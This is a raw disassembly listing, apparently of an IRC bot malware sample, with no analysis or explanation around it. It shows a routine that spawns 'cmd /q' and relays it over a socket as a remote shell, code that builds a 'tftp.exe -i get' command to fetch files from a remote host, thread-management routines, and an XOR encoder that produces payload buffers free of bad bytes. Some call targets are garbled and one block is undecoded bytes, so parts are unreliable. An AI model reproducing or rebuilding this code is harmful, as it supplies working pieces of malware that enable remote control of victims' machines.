--------------------------------------------------------------------------- loc_4166C4: ; CODE XREF: sub_4165C4+D2j push ebx push dword ptr [esi+10h] jmp short loc_4166CE ; --------------------------------------------------------------------------- loc_4166CA: ; CODE XREF: sub_4165C4+CFj push ebx push dword ptr [esi+14h] loc_4166CE: ; CODE XREF: sub_4165C4+104j call near ptr 27C0AC6h nop push 1 push dword ptr [esi+8] nop call near ptr 27C0C4Ch loc_4166DF: ; CODE XREF: sub_4165C4+EAj ; sub_4165C4+FEj push dword ptr [esi+10h] mov edi, dword_424078 call edi push dword ptr [esi+14h] call edi push dword ptr [esi+8] call edi push dword ptr [esi] call edi push dword ptr [esi+4] call edi push dword ptr [esi+0Ch] call dword_43F700 push esi call sub_417C3B pop ecx push 1 pop eax loc_416710: ; CODE XREF: sub_4165C4+A7j pop edi pop esi pop ebx leave retn sub_4165C4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416715 proc near ; CODE XREF: sub_4165C4+Dp var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 14h push ebx push esi push edi xor edi, edi push 18h mov [ebp+var_4], edi mov [ebp+var_8], edi call sub_417B89 mov esi, eax pop ecx cmp esi, edi jz loc_4167FF mov ebx, dword_424140 lea eax, [ebp+var_14] push edi push eax lea eax, [ebp+var_8] mov [esi], edi push eax mov [esi+4], edi push esi mov [ebp+var_14], 0Ch mov [ebp+var_10], edi mov [ebp+var_C], 1 call ebx mov edi, dword_424078 test eax, eax jnz short loc_416778 nop call near ptr 264030Ch push eax push offset dword_439324 jmp short loc_416798 ; --------------------------------------------------------------------------- loc_416778: ; CODE XREF: sub_416715+53j lea eax, [ebp+var_14] push 0 push eax lea eax, [esi+4] push eax lea eax, [ebp+var_4] push eax call ebx test eax, eax jnz short loc_4167A0 nop call near ptr 264030Ch push eax push offset dword_4392D4 loc_416798: ; CODE XREF: sub_416715+61j call sub_40BFE1 pop ecx jmp short loc_4167CE ; --------------------------------------------------------------------------- loc_4167A0: ; CODE XREF: sub_416715+75j push [ebp+arg_0] push [ebp+var_8] push [ebp+var_4] call sub_41680E add esp, 0Ch mov [esi+8], eax push [ebp+var_4] call edi push [ebp+var_8] call edi cmp dword ptr [esi+8], 0 jnz short loc_416803 push offset dword_43929C call sub_40BF6D loc_4167CE: ; CODE XREF: sub_416715+89j cmp [ebp+var_4], 0 pop ecx jz short loc_4167DA push [ebp+var_4] call edi loc_4167DA: ; CODE XREF: sub_416715+BEj cmp [ebp+var_8], 0 jz short loc_4167E5 push [ebp+var_8] call edi loc_4167E5: ; CODE XREF: sub_416715+C9j mov eax, [esi] test eax, eax jz short loc_4167EE push eax call edi loc_4167EE: ; CODE XREF: sub_416715+D4j mov eax, [esi+4] test eax, eax jz short loc_4167F8 push eax call edi loc_4167F8: ; CODE XREF: sub_416715+DEj push esi call sub_417C3B pop ecx loc_4167FF: ; CODE XREF: sub_416715+1Dj xor eax, eax jmp short loc_416809 ; --------------------------------------------------------------------------- loc_416803: ; CODE XREF: sub_416715+ADj or dword ptr [esi+0Ch], 0FFFFFFFFh mov eax, esi loc_416809: ; CODE XREF: sub_416715+ECj pop edi pop esi pop ebx leave retn sub_416715 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41680E proc near ; CODE XREF: sub_416715+94p var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_2C = dword ptr -2Ch var_28 = word ptr -28h var_26 = word ptr -26h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = byte ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 58h push ebx push esi push edi push 44h pop edi xor esi, esi push edi lea eax, [ebp+var_58] push esi push eax mov [ebp+var_4], esi call sub_417330 push 10h lea eax, [ebp+var_14] push esi push eax call sub_417330 mov eax, [ebp+arg_0] mov ebx, [ebp+arg_4] add esp, 18h mov [ebp+var_20], eax lea eax, [ebp+var_18] mov [ebp+var_58], edi mov edi, dword_42413C push esi push 1 push 2 push eax mov [ebp+var_54], esi mov [ebp+var_4C], esi mov [ebp+var_50], esi mov [ebp+var_3C], esi mov [ebp+var_40], esi mov [ebp+var_44], esi mov [ebp+var_48], esi mov [ebp+var_28], si mov [ebp+var_24], esi mov [ebp+var_26], si mov [ebp+var_2C], 101h mov [ebp+var_1C], ebx call edi push eax push ebx call edi push eax nop call near ptr 2770971h lea eax, [ebp+var_14] push eax lea eax, [ebp+var_58] push eax push esi push esi push esi push 1 push esi push esi push offset aCmdQ ; "cmd /q" push esi call near ptr 2750604h nop test eax, eax jz short loc_4168CA mov eax, [ebp+arg_8] mov ecx, [ebp+var_C] imul eax, 234h push [ebp+var_10] mov esi, [ebp+var_14] mov dword_4450C8[eax], ecx nop call near ptr 2621906h jmp short loc_4168E0 ; --------------------------------------------------------------------------- loc_4168CA: ; CODE XREF: sub_41680E+9Aj call near ptr 264030Ch nop push eax push offset dword_439374 call sub_40BFE1 mov esi, [ebp+var_4] pop ecx pop ecx loc_4168E0: ; CODE XREF: sub_41680E+BAj mov eax, esi pop edi pop esi pop ebx leave retn sub_41680E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4168E7 proc near ; DATA XREF: sub_4165C4+3Fo var_1B0 = byte ptr -1B0h var_C8 = byte ptr -0C8h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 1B0h push ebx push esi mov ebx, dword_424074 push edi mov edi, [ebp+arg_0] lea eax, [ebp+arg_0] push 0 push eax lea eax, [ebp+var_C8] push 0C8h push eax push dword ptr [edi] loc_416910: ; CODE XREF: sub_4168E7+8Fj call ebx test eax, eax jz short loc_416978 xor eax, eax xor dl, dl xor esi, esi cmp [ebp+arg_0], eax jbe short loc_41694B loc_416921: ; CODE XREF: sub_4168E7+62j mov cl, [ebp+esi+var_C8] cmp cl, 0Ah jnz short loc_41693B cmp dl, 0Dh jz short loc_41693B mov [ebp+eax+var_1B0], 0Dh inc eax loc_41693B: ; CODE XREF: sub_4168E7+44j ; sub_4168E7+49j mov [ebp+eax+var_1B0], cl inc eax inc esi mov dl, cl cmp esi, [ebp+arg_0] jb short loc_416921 loc_41694B: ; CODE XREF: sub_4168E7+38j push 0 push eax lea eax, [ebp+var_1B0] push eax push dword ptr [edi+0Ch] call dword_43F6B8 test eax, eax jle short loc_416978 lea eax, [ebp+arg_0] push 0 push eax lea eax, [ebp+var_C8] push 0C8h push eax push dword ptr [edi] jmp short loc_416910 ; --------------------------------------------------------------------------- loc_416978: ; CODE XREF: sub_4168E7+2Dj ; sub_4168E7+79j mov esi, dword_42408C call esi cmp eax, 6Dh jz short loc_416994 call esi push eax push offset dword_4393C0 call sub_40BFE1 pop ecx pop ecx loc_416994: ; CODE XREF: sub_4168E7+9Cj pop edi pop esi pop ebx leave retn sub_4168E7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416999 proc near ; DATA XREF: sub_4165C4+71o var_DC = byte ptr -0DCh var_14 = byte ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = byte ptr -8 var_7 = byte ptr -7 var_6 = byte ptr -6 var_5 = byte ptr -5 var_4 = byte ptr -4 var_3 = byte ptr -3 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0DCh push ebx push esi xor ebx, ebx push edi mov edi, [ebp+arg_0] xor esi, esi mov [ebp+var_10], ebx mov [ebp+var_C], ebx loc_4169B2: ; CODE XREF: sub_416999+39j ; sub_416999+D7j ... push ebx lea eax, [ebp+arg_0+3] push 1 push eax push dword ptr [edi+0Ch] call dword_43F680 test eax, eax jle loc_416AB7 cmp [ebp+var_10], ebx jbe short loc_4169D4 dec [ebp+var_10] jmp short loc_4169B2 ; --------------------------------------------------------------------------- loc_4169D4: ; CODE XREF: sub_416999+34j mov al, byte ptr [ebp+arg_0+3] movsx ecx, al cmp ecx, 0FFh jz loc_416A97 cmp al, 8 mov [ebp+var_C], ebx jz short loc_416A44 cmp al, 7Fh jz short loc_416A44 cmp al, 3 jnz short loc_4169FF push ebx push ebx nop call near ptr 27D0C84h jmp short loc_416A6B ; --------------------------------------------------------------------------- loc_4169FF: ; CODE XREF: sub_416999+5Aj cmp al, 15h jnz short loc_416A21 xor esi, esi mov [ebp+var_8], 20h mov [ebp+var_7], 58h mov [ebp+var_6], 58h mov [ebp+var_5], 58h mov [ebp+var_4], 0Dh mov [ebp+var_3], 0Ah push 6 jmp short loc_416A57 ; --------------------------------------------------------------------------- loc_416A21: ; CODE XREF: sub_416999+68j mov [ebp+esi+var_DC], al inc esi push 1 cmp al, 0Dh mov [ebp+var_8], al pop ecx jnz short loc_416A58 mov [ebp+esi+var_DC], 0Ah mov [ebp+var_7], 0Ah inc esi push 2 jmp short loc_416A57 ; --------------------------------------------------------------------------- loc_416A44: ; CODE XREF: sub_416999+52j ; sub_416999+56j cmp esi, ebx jbe short loc_416A6E dec esi mov [ebp+var_8], 8 mov [ebp+var_7], 20h mov [ebp+var_6], 8 push 3 loc_416A57: ; CODE XREF: sub_416999+86j ; sub_416999+A9j pop ecx loc_416A58: ; CODE XREF: sub_416999+98j push ebx lea eax, [ebp+var_8] push ecx push eax push dword ptr [edi+0Ch] call dword_43F6B8 test eax, eax jle short loc_416AB7 loc_416A6B: ; CODE XREF: sub_416999+64j mov al, byte ptr [ebp+arg_0+3] loc_416A6E: ; CODE XREF: sub_416999+ADj cmp al, 0Dh jnz loc_4169B2 lea eax, [ebp+var_14] push ebx push eax lea eax, [ebp+var_DC] push esi push eax push dword ptr [edi+4] nop call near ptr 2630000h test eax, eax jz short loc_416AB7 xor esi, esi jmp loc_4169B2 ; --------------------------------------------------------------------------- loc_416A97: ; CODE XREF: sub_416999+47j cmp [ebp+var_C], ebx jnz short loc_416AA8 mov [ebp+var_C], 1 jmp loc_4169B2 ; --------------------------------------------------------------------------- loc_416AA8: ; CODE XREF: sub_416999+101j mov [ebp+var_10], 0Ah mov [ebp+var_C], ebx jmp loc_4169B2 ; --------------------------------------------------------------------------- loc_416AB7: ; CODE XREF: sub_416999+2Bj ; sub_416999+D0j ... pop edi pop esi pop ebx leave retn sub_416999 endp ; =============== S U B R O U T I N E ======================================= sub_416ABC proc near ; CODE XREF: sub_416ADC+Ap ; sub_416BB4+8p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push [esp+4+arg_0] call sub_417AB0 push [esp+8+arg_4] mov esi, eax call sub_417AB0 pop ecx lea eax, [esi+eax*2+0C1h] pop ecx pop esi retn sub_416ABC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416ADC proc near ; CODE XREF: sub_416BCB+49p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx push [ebp+arg_C] push [ebp+arg_8] call sub_416ABC cmp eax, [ebp+arg_4] pop ecx pop ecx mov [ebp+var_4], eax jbe short loc_416AF9 xor eax, eax leave retn ; --------------------------------------------------------------------------- loc_416AF9: ; CODE XREF: sub_416ADC+17j push ebx push esi push edi push [ebp+arg_8] call sub_417AB0 push [ebp+arg_C] mov esi, eax call sub_417AB0 mov edi, eax mov ebx, [ebp+arg_0] push 0FFFFFFEDh lea eax, [edi+esi+12h] mov dword_4394A0, eax lea eax, [edi+1] mov dword_4394C1, eax lea eax, [edi+17h] mov dword_4394B9, eax pop eax push 74h sub eax, edi push offset dword_43943C push ebx mov dword_4394CF, eax call sub_417390 push esi lea eax, [ebx+74h] push [ebp+arg_8] push eax call sub_417390 add esi, 74h push 5 push (offset aTftp_exeIGet+0Ch) lea eax, [esi+ebx] push eax call sub_417390 add esi, 5 push edi push [ebp+arg_C] lea eax, [esi+ebx] push eax call sub_417390 add esi, edi push 10h push (offset aTftp_exeIGet+11h) lea eax, [esi+ebx] push eax call sub_417390 add esp, 44h add esi, 10h push edi lea eax, [esi+ebx] push [ebp+arg_C] push eax call sub_417390 add esi, edi push 38h add esi, ebx push offset byte_4394C5 push esi call sub_417390 mov eax, [ebp+var_4] add esp, 18h pop edi pop esi pop ebx leave retn sub_416ADC endp ; =============== S U B R O U T I N E ======================================= sub_416BB4 proc near ; CODE XREF: sub_416BCB+Dp arg_0 = dword ptr 4 arg_4 = dword ptr 8 push [esp+arg_4] push [esp+4+arg_0] call sub_416ABC push eax call sub_416C38 add esp, 0Ch retn sub_416BB4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416BCB proc near ; CODE XREF: sub_402B84+32p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ebx mov ebx, [ebp+arg_8] push edi mov edi, [ebp+arg_C] push edi push ebx call sub_416BB4 cmp eax, [ebp+arg_4] pop ecx pop ecx ja short loc_416BEB cmp eax, 0FFFFh jbe short loc_416BEF loc_416BEB: ; CODE XREF: sub_416BCB+17j xor eax, eax jmp short loc_416C34 ; --------------------------------------------------------------------------- loc_416BEF: ; CODE XREF: sub_416BCB+1Ej push esi push edi push ebx call sub_416ABC add eax, 101h push eax call sub_417B89 add esp, 0Ch mov esi, eax push edi push ebx push edi push ebx call sub_416ABC pop ecx pop ecx push eax push esi call sub_416ADC push eax push esi push [ebp+arg_4] push [ebp+arg_0] call sub_416C53 push esi mov edi, eax call sub_417C3B add esp, 24h mov eax, edi pop esi loc_416C34: ; CODE XREF: sub_416BCB+22j pop edi pop ebx pop ebp retn sub_416BCB endp ; =============== S U B R O U T I N E ======================================= sub_416C38 proc near ; CODE XREF: sub_416BB4+Ep ; sub_416C53+4Ap arg_0 = dword ptr 4 mov ecx, [esp+arg_0] test cl, cl jnz short loc_416C41 inc ecx loc_416C41: ; CODE XREF: sub_416C38+6j mov eax, 0FFh cmp eax, ecx sbb eax, eax and eax, 2 add eax, 15h add eax, ecx retn sub_416C38 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416C53 proc near ; CODE XREF: sub_416BCB+56p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx cmp byte ptr [ebp+arg_C], 0Ah jz short loc_416C6F cmp byte ptr [ebp+arg_C], 0Dh jz short loc_416C6F cmp byte ptr [ebp+arg_C], 5Ch jz short loc_416C6F cmp byte ptr [ebp+arg_C], 0 jnz short loc_416C72 loc_416C6F: ; CODE XREF: sub_416C53+8j ; sub_416C53+Ej ... inc [ebp+arg_C] loc_416C72: ; CODE XREF: sub_416C53+1Aj push esi mov esi, 0FFh cmp [ebp+arg_C], esi jbe short loc_416C9A mov eax, [ebp+arg_C] shr eax, 8 cmp al, 0Ah jz short loc_416C93 cmp al, 0Dh jz short loc_416C93 cmp al, 5Ch jz short loc_416C93 test al, al jnz short loc_416C9A loc_416C93: ; CODE XREF: sub_416C53+32j ; sub_416C53+36j ... add [ebp+arg_C], 100h loc_416C9A: ; CODE XREF: sub_416C53+28j ; sub_416C53+3Ej push [ebp+arg_C] call sub_416C38 cmp eax, [ebp+arg_4] pop ecx mov [ebp+var_4], eax ja short loc_416CB2 cmp eax, 0FFFFh jbe short loc_416CB9 loc_416CB2: ; CODE XREF: sub_416C53+56j xor eax, eax jmp loc_416D57 ; --------------------------------------------------------------------------- loc_416CB9: ; CODE XREF: sub_416C53+5Dj mov ecx, [ebp+arg_C] push ebx mov bl, byte_489FE8 xor edx, edx push edi mov edi, [ebp+arg_8] test ecx, ecx jbe short loc_416CE9 loc_416CCD: ; CODE XREF: sub_416C53+94j mov al, [edx+edi] xor al, bl jz short loc_416CE0 cmp al, 0Ah jz short loc_416CE0 cmp al, 0Dh jz short loc_416CE0 cmp al, 5Ch jnz short loc_416CE4 loc_416CE0: ; CODE XREF: sub_416C53+7Fj ; sub_416C53+83j ... inc bl xor edx, edx loc_416CE4: ; CODE XREF: sub_416C53+8Bj inc edx cmp edx, ecx jb short loc_416CCD loc_416CE9: ; CODE XREF: sub_416C53+78j cmp ecx, esi mov byte_489FE8, bl ja short loc_416D15 push 15h push offset loc_439424 push [ebp+arg_0] mov byte_439431, cl mov byte_439435, bl call sub_417390 add esp, 0Ch push 15h jmp short loc_416D36 ; --------------------------------------------------------------------------- loc_416D15: ; CODE XREF: sub_416C53+9Ej push 17h push offset loc_43940C push [ebp+arg_0] mov word_43941A, cx mov byte_43941F, bl call sub_417390 add esp, 0Ch push 17h loc_416D36: ; CODE XREF: sub_416C53+C0j xor eax, eax pop ecx cmp [ebp+arg_C], eax jbe short loc_416D52 mov edx, [ebp+arg_0] lea esi, [ecx+edx] loc_416D44: ; CODE XREF: sub_416C53+FDj mov cl, [eax+edi] xor cl, bl mov [esi+eax], cl inc eax cmp eax, [ebp+arg_C] jb short loc_416D44 loc_416D52: ; CODE XREF: sub_416C53+E9j mov eax, [ebp+var_4] pop edi pop ebx loc_416D57: ; CODE XREF: sub_416C53+61j pop esi leave retn sub_416C53 endp ; =============== S U B R O U T I N E ======================================= sub_416D5A proc near ; CODE XREF: sub_4060D0+227p ; sub_407252+F0p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push edi xor edi, edi mov eax, offset dword_444EC0 loc_416D62: ; CODE XREF: sub_416D5A+18j cmp byte ptr [eax], 0 jz short loc_416D76 add eax, 234h inc edi cmp eax, offset dword_489C50 jl short loc_416D62 jmp short loc_416DC1 ; --------------------------------------------------------------------------- loc_416D76: ; CODE XREF: sub_416D5A+Bj push esi mov esi, edi imul esi, 234h push 1FFh push [esp+0Ch+arg_0] lea eax, dword_444EC0[esi] push eax call sub_418C10 mov eax, [esp+14h+arg_4] add esp, 0Ch mov dword_4450C0[esi], eax and dword_4450C4[esi], 0 mov eax, [esp+8+arg_8] and dword_4450C8[esi], 0 mov dword_4450CC[esi], eax and byte_4450D8[esi], 0 pop esi loc_416DC1: ; CODE XREF: sub_416D5A+1Aj mov eax, edi pop edi retn sub_416D5A endp ; --------------------------------------------------------------------------- byte_416DC5 db 55h, 8Bh, 0ECh ; DATA XREF: sub_40EE72+5BFFo dd 98EC81h, 458B0000h, 6A575608h, 0F08B5926h, 0FF68BD8Dh dd 0A5F3FFFFh, 0C7F075FFh, 9480h, 100h, 6C858D00h, 0FFFFFFFFh dd 0FF50F475h, 0FFFF68B5h, 15E8FFh, 75FF0000h, 26CE8ECh dd 0C4830000h, 90006A14h, 1D950BE8h, 555E5F02h, 0EC81EC8Bh dd 200h, 6A5756h, 681075FFh, 439500h, 0FF0C75FFh, 42E80875h dd 83FFFF68h, 0FF3314C4h, 444EC0BEh, 3E8000h, 7D833C74h dd 9750014h, 204BE83h, 75000000h, 8D57562Dh, 0FFFE0085h dd 7E8068FFh, 0E8500043h, 446h, 858D016Ah, 0FFFFFE00h dd 501075FFh, 0FF0C75FFh, 0FAE80875h, 83FFFF67h, 0C68124C4h dd 234h, 50FE8147h, 7C00489Ch, 0C95E5FB0h ; --------------------------------------------------------------------------- retn ; =============== S U B R O U T I N E ======================================= sub_416E95 proc near ; CODE XREF: sub_40EE72+4DD7p ; sub_416F23+12p ... arg_0 = dword ptr 4 push ebx push ebp push esi mov esi, [esp+0Ch+arg_0] xor ebx, ebx xor ebp, ebp cmp esi, ebx jle short loc_416F1D cmp esi, 1F4h jge short loc_416F1D imul esi, 234h push edi push ebx push dword_4450D4[esi] lea edi, dword_4450D4[esi] call near ptr 27C0AC6h nop cmp [edi], ebx jz short loc_416ECD push 1 pop ebp loc_416ECD: ; CODE XREF: sub_416E95+33j mov [edi], ebx lea edi, dword_4450C8[esi] mov dword_4450C0[esi], ebx mov dword_4450C4[esi], ebx mov eax, [edi] cmp eax, ebx jbe short loc_416EEE push eax call sub_415417 pop ecx loc_416EEE: ; CODE XREF: sub_416E95+50j mov [edi], ebx lea edi, dword_4450CC[esi] mov byte ptr dword_444EC0[esi], bl mov byte_4450D8[esi], bl push dword ptr [edi] call dword_43F700 lea esi, dword_4450D0[esi] mov [edi], ebx push dword ptr [esi] call dword_43F700 mov [esi], ebx pop edi loc_416F1D: ; CODE XREF: sub_416E95+Dj ; sub_416E95+15j mov eax, ebp pop esi pop ebp pop ebx retn sub_416E95 endp ; =============== S U B R O U T I N E ======================================= sub_416F23 proc near ; CODE XREF: sub_40AC42:loc_40AC66p ; sub_40D3A5+18p ... push ebx push esi push edi xor ebx, ebx xor edi, edi mov esi, offset dword_444EC0 loc_416F2F: ; CODE XREF: sub_416F23+2Aj cmp byte ptr [esi], 0 jz short loc_416F40 push edi call sub_416E95 test eax, eax pop ecx jz short loc_416F40 inc ebx loc_416F40: ; CODE XREF: sub_416F23+Fj ; sub_416F23+1Aj add esi, 234h inc edi cmp esi, offset dword_489C50 jl short loc_416F2F pop edi mov eax, ebx pop esi pop ebx retn sub_416F23 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416F55 proc near ; CODE XREF: sub_40EE72+1E3Dp ; sub_40EE72+1EABp ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ebx push esi xor ebx, ebx push edi mov edi, [ebp+arg_4] mov [ebp+var_4], ebx mov esi, offset dword_4450C4 loc_416F69: ; CODE XREF: sub_416F55+43j mov eax, [esi-4] cmp eax, [ebp+arg_0] jnz short loc_416F8B test edi, edi jle short loc_416F7D cmp [esi], edi jz short loc_416F7D cmp ebx, edi jnz short loc_416F8B loc_416F7D: ; CODE XREF: sub_416F55+1Ej ; sub_416F55+22j push ebx call sub_416E95 test eax, eax pop ecx jz short loc_416F8B inc [ebp+var_4] loc_416F8B: ; CODE XREF: sub_416F55+1Aj ; sub_416F55+26j ... add esi, 234h inc ebx cmp esi, offset dword_489E54 jl short loc_416F69 mov eax, [ebp+var_4] pop edi pop esi pop ebx leave retn sub_416F55 endp ; =============== S U B R O U T I N E ======================================= sub_416FA2 proc near ; CODE XREF: sub_4071DB+Bp ; sub_407252+2Dp ... arg_0 = dword ptr 4 xor eax, eax mov ecx, offset dword_4450C0 loc_416FA9: ; CODE XREF: sub_416FA2+1Cj mov edx, [ecx] cmp edx, [esp+arg_0] jnz short loc_416FB2 inc eax loc_416FB2: ; CODE XREF: sub_416FA2+Dj add ecx, 234h cmp ecx, offset dword_489E50 jl short loc_416FA9 retn sub_416FA2 endp ; =============== S U B R O U T I N E ======================================= sub_416FC1 proc near ; CODE XREF: sub_40EE72+5696p arg_0 = dword ptr 4 xor eax, eax push esi xor edx, edx mov ecx, offset dword_4450C0 loc_416FCB: ; CODE XREF: sub_416FC1+1Fj mov esi, [ecx] cmp esi, [esp+4+arg_0] jz short loc_416FE4 add ecx, 234h inc edx cmp ecx, offset dword_489E50 jl short loc_416FCB pop esi retn ; --------------------------------------------------------------------------- loc_416FE4: ; CODE XREF: sub_416FC1+10j mov eax, edx pop esi retn sub_416FC1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416FE8 proc near ; CODE XREF: sub_40EE72+1070p var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp sub esp, 200h xor eax, eax cmp [ebp+arg_1C], eax jz short loc_417001 push [ebp+arg_1C] call sub_41781F pop ecx loc_417001: ; CODE XREF: sub_416FE8+Ej push eax push [ebp+arg_18] call sub_416F55 pop ecx test eax, eax pop ecx jle short loc_41702D push eax lea eax, [ebp+var_200] push [ebp+arg_14] push [ebp+arg_10] push offset aSSStopped_DThr ; "%s: %s stopped. (%d thread(s) stopped.)"... push eax call sub_4172AE add esp, 14h jmp short loc_417047 ; --------------------------------------------------------------------------- loc_41702D: ; CODE XREF: sub_416FE8+26j push [ebp+arg_14] lea eax, [ebp+var_200] push [ebp+arg_10] push offset aSNoSThreadFoun ; "%s: No %s thread found." push eax call sub_4172AE add esp, 10h loc_417047: ; CODE XREF: sub_416FE8+43j cmp [ebp+arg_C], 0 jnz short loc_417067 push 0 lea eax, [ebp+var_200] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40D679 add esp, 14h loc_417067: ; CODE XREF: sub_416FE8+63j lea eax, [ebp+var_200] push eax call sub_40BF6D pop ecx leave retn sub_416FE8 endp ; =============== S U B R O U T I N E ======================================= sub_417076 proc near ; CODE XREF: sub_401000+A5p ; sub_40144A+8Dp ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] xor ecx, ecx imul eax, 234h mov dword_4450D4[eax], ecx mov dword_4450C0[eax], ecx mov dword_4450C4[eax], ecx mov dword_4450C8[eax], ecx mov dword_4450CC[eax], ecx mov dword_4450D0[eax], ecx mov byte ptr dword_444EC0[eax], cl mov byte_4450D8[eax], cl retn sub_417076 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4170B3 proc near ; CODE XREF: sub_40EE72+6187p ; sub_4171E1+6Bp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push esi mov esi, [ebp+arg_0] push 1 pop eax loc_4170BD: ; CODE XREF: sub_4170B3+68j mov cl, [esi] test cl, cl jz short loc_41711D cmp eax, 1 jnz short loc_41711D mov edx, [ebp+arg_4] mov dl, [edx] test dl, dl jz short loc_41711D cmp cl, 2Ah jz short loc_417104 cmp cl, 3Fh jz short loc_4170E7 cmp cl, 5Bh jz short loc_4170EC xor eax, eax cmp cl, dl setz al loc_4170E7: ; CODE XREF: sub_4170B3+26j inc [ebp+arg_4] jmp short loc_417117 ; --------------------------------------------------------------------------- loc_4170EC: ; CODE XREF: sub_4170B3+2Bj lea eax, [ebp+arg_4] inc esi push eax lea eax, [ebp+arg_0] push eax mov [ebp+arg_0], esi call sub_417149 mov esi, [ebp+arg_0] pop ecx pop ecx jmp short loc_417117 ; --------------------------------------------------------------------------- loc_417104: ; CODE XREF: sub_4170B3+21j lea eax, [ebp+arg_4] push eax lea eax, [ebp+arg_0] push eax call sub_4171E1 mov esi, [ebp+arg_0] pop ecx pop ecx dec esi loc_417117: ; CODE XREF: sub_4170B3+37j ; sub_4170B3+4Fj inc esi mov [ebp+arg_0], esi jmp short loc_4170BD ; --------------------------------------------------------------------------- loc_41711D: ; CODE XREF: sub_4170B3+Ej ; sub_4170B3+13j ... cmp byte ptr [esi], 2Ah jnz short loc_41712D cmp eax, 1 jnz short loc_417144 inc esi mov [ebp+arg_0], esi jmp short loc_41711D ; --------------------------------------------------------------------------- loc_41712D: ; CODE XREF: sub_4170B3+6Dj cmp eax, 1 jnz short loc_417144 mov eax, [ebp+arg_4] cmp byte ptr [eax], 0 jnz short loc_417144 cmp byte ptr [esi], 0 jnz short loc_417144 push 1 pop eax jmp short loc_417146 ; --------------------------------------------------------------------------- loc_417144: ; CODE XREF: sub_4170B3+72j ; sub_4170B3+7Dj ... xor eax, eax loc_417146: ; CODE XREF: sub_4170B3+8Fj pop esi pop ebp retn sub_4170B3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417149 proc near ; CODE XREF: sub_4170B3+45p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx mov edx, [ebp+arg_0] push edi xor edi, edi push 1 mov ecx, [edx] and [ebp+var_8], edi pop eax cmp byte ptr [ecx], 21h mov [ebp+var_4], eax jnz short loc_41716A inc ecx mov [ebp+var_8], eax mov [edx], ecx loc_41716A: ; CODE XREF: sub_417149+19j push ebx push esi loc_41716C: ; CODE XREF: sub_417149+7Bj mov ecx, [edx] mov bl, [ecx] cmp bl, 5Dh jnz short loc_41717A cmp [ebp+var_4], eax jnz short loc_4171C6 loc_41717A: ; CODE XREF: sub_417149+2Aj test edi, edi jnz short loc_4171BB cmp bl, 2Dh jnz short loc_4171AF mov al, [ecx+1] lea esi, [ecx+1] mov cl, [ecx-1] cmp cl, al jge short loc_4171AF cmp al, 5Dh jz short loc_4171AF cmp [ebp+var_4], edi jnz short loc_4171AF mov ebx, [ebp+arg_4] mov ebx, [ebx] mov bl, [ebx] cmp bl, cl jl short loc_4171BB cmp bl, al jg short loc_4171BB push 1 mov [edx], esi pop edi jmp short loc_4171BB ; --------------------------------------------------------------------------- loc_4171AF: ; CODE XREF: sub_417149+38j ; sub_417149+45j ... mov eax, [ebp+arg_4] mov eax, [eax] cmp bl, [eax] jnz short loc_4171BB push 1 pop edi loc_4171BB: ; CODE XREF: sub_417149+33j ; sub_417149+59j ... inc dword ptr [edx] and [ebp+var_4], 0 push 1 pop eax jmp short loc_41716C ; --------------------------------------------------------------------------- loc_4171C6: ; CODE XREF: sub_417149+2Fj cmp [ebp+var_8], eax pop esi pop ebx jnz short loc_4171D3 mov ecx, eax sub ecx, edi mov edi, ecx loc_4171D3: ; CODE XREF: sub_417149+82j cmp edi, eax jnz short loc_4171DC mov eax, [ebp+arg_4] inc dword ptr [eax] loc_4171DC: ; CODE XREF: sub_417149+8Cj mov eax, edi pop edi leave retn sub_417149 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame 